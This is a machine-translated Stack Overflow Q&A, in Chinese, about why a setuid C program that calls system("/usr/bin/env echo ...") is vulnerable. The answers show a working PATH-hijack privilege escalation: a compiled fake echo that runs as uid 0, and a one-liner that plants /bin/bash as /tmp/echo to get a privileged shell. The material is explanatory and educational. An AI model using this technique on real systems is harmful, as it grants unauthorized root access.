#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

我的理解方式,上面的代码允许任意代码(或程序)执行 - 是什么使这个脆弱的人,以及如何利用这一点?

有帮助吗?

解决方案

你可以覆盖 PATH 可变量指向您的自定义版本的目录 echo 从那以后 echo 使用 env, ,它没有被视为内置。

仅当代码作为特权用户运行时,这才构成漏洞。

在下面的示例中,文件VC包含问题中的代码。

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

请注意,通过调用到 setresuid() 在打电话之前 system() 在问题中发布的脆弱代码中,即使只有有效的用户ID设置为特权用户ID,并且真实的用户ID仍然没有特权(例如,在依靠set-user-id bit上的情况下,就可以利用漏洞如上所述)。没有电话 setresuid() 外壳由 system() 将有效的用户ID重置回真实的用户ID,从而使利用无效。但是,在使用特权用户的真实用户ID运行的情况下, system() 一个人打电话就足够了。引用 sh 男人页:

如果shell是从有效的用户(组)ID启动的,则不等于真实的用户(组)ID,并且未提供-P选项,则没有读取启动文件,则不会从环境中继承shell功能,shellOpts如果变量出现在环境中,则将忽略,并将有效的用户ID设置为真实的用户ID。如果在调用时提供了-P选项,则启动行为是相同的,但是有效的用户ID并未重置。

另外,请注意 setresuid() 无法便携,但是 setuid() 或者 setreuid() 也可以使用相同的效果。

其他提示

好吧,实际上在系统函数调用中,您可以弄乱 echo 命令。例如,如果执行以下代码:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

您将获得带有文件所有者许可的外壳

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top